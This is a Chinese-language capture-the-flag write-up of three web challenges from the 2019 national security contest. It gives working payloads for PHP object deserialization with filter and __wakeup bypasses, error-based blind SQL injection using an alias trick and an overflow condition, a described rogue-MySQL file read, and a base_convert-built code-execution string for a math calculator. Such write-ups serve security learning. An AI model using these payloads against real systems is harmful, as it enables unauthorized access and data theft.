全国信息安全竞赛
2019 全国信息安全竞赛
##JustSoso
发现注释有文件包含,包含获得源码
1 | // index.php |
1 | // hint.php |
可以看到,我们不能直接读取flag
思路很清晰,我们通过unserilize来反序列化Handle类,在Handle类的handle为Flag的时候在destruct的时候,就可以调用到getFlag,我们可以构造hint.php中的类来做到文件读取
现在我们有点需要通过:
- 在index.php中限制了反序列化的字符串中不能有flag字段
- 在反序列化的时候会调用
__wakeup
方法,这个方法会将我们的handle属性覆盖为null - 在调用getFlag的时候,我们的token_flag必须和$this->token_flag相同
我们可以一个一个绕过:
- 看到题目的取参数方式和平常很不一样,联想是否有什么问题,发现parse_url函数在处理:
http://xxxx////a.php
这种多个斜杠的url的时候会返回null,第一步可以绕过 __wakup
方法还是很好绕过的,当属性的真实个数与序列化的个数不一样的时候,最后调用的时候不会调用__wakeup
方法- 在反序列化的时候可以用&符号来做一个指针,可以自动让
$token_flag
相等
最后的payload:
1 | http://3d5764f77e4549b981f0c73c2efbce6c9c54d98170394cbd.changame.ichunqiu.com//////?file=hint.php&payload=O%3A6%3A%22Handle%22%3A2%3A%7Bs%3A14%3A%22%00Handle%00handle%22%3BO%3A4%3A%22Flag%22%3A3%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A5%3A%22token%22%3Bs%3A32%3A%228cb22bdd0b7ba1ab13d742e22eed8da2%22%3Bs%3A10%3A%22token_flag%22%3BR%3A4%3B%7D%7D |
全宇宙最简单的SQL
题目给的很清楚,SQL注入,但是有个很大的问题是,只有两种显示状态,语句报错或者是登陆失败
过滤了or,让我们对password和mysql表和字段的判断有了一定阻碍
- 如何让一条语句判断为真的时候不报错,为假的时候报错,反之也可以
- 如何获得字段名,表名,以及在查询的时候,password如何代替
思路:
mysql的and语句在前面的语句正确的时候才进行后面语句的判断,否则只判断前面的语句是否正确。还有一个mysql的特性,在mysql计算过大的数的时候会报错,所以我们可以通过报错和不报错来判断前面的条件是否成立,所以我们可以构造如下payload:
username=admin' and 1=2 and (select 2*1e308)#&password=admin
,即可成功构造条件判断因为or被过滤,所以无法用直接的方式来查询出来password的值,但是我们可以用别名来查询password,请看下面的演示:
所以我们可以通过这种方式来进行注入,所以最后的payload:
username=admin' and ascii(substr((select a.2 from (select 1,2 from user union select * from user limit 0,1)a),1,1))=90 and (select 2*1e308)#&password=admin
因为是盲注,编写一个脚本
1 | import requests |
最后注入出来密码为:F1AG@1s-at_/fll1llag_h3r3
(表名是猜的23333)
登陆后的界面为:
一看到这里,超级简单了,伪造mysql数据库,读取文件
在服务器上起一个伪造的mysql:我们的文件在/fll1llag_h3r3
选择一个存在的表,其他的随便输:
即可在服务器端收到flag:
love the math
这道题只能说:f1sh tql
calc.php直接有源码:
1 |
|
发现都是些数学函数,过滤非常狠:
- 不允许有任何的非白名单的函数或者变量存在
- 构造的字符串长度不能超过79位
如果想要构造函数,我们的$content
必须要是一个字符串,所以翻一翻php手册,这些数学函数中返回的是字符串的只有:base_convert, decbin, dechex, decoct
而base_convert有个很有意思的typical usage:
可以看到,我们可以通过base_convert来转换为字符串,所以可以构造:
1 |
|
得到对应的10进制数字:
可以直接在服务器上转换,成功执行命令:http://6290bf1796b844a68f29a4d31e166f506a77bf71fd4d4ef8.changame.ichunqiu.com/calc.php?c=base_convert(1751504350,10,36)(base_convert(784,10,36))
但是接下来想要读取flag,被长度限制的快怀疑人生了。。。。。。
直接看f1sh的payload吧:(base_convert(371235972282,10,28))(${decoct(531)^base_convert(68631,20,35)}{1})&1=flag.php
base_convert(371235972282,10,28)
:readfiledecoct(531)^base_convert(68631,20,35)
:_GET(fuzz出来的)
所以最后的payload解码以后就是:(readfile{$_GET{1}})
自己写了一个小的fuzz脚本,如果以后需要fuzz字符的话可以直接改:
1 |
|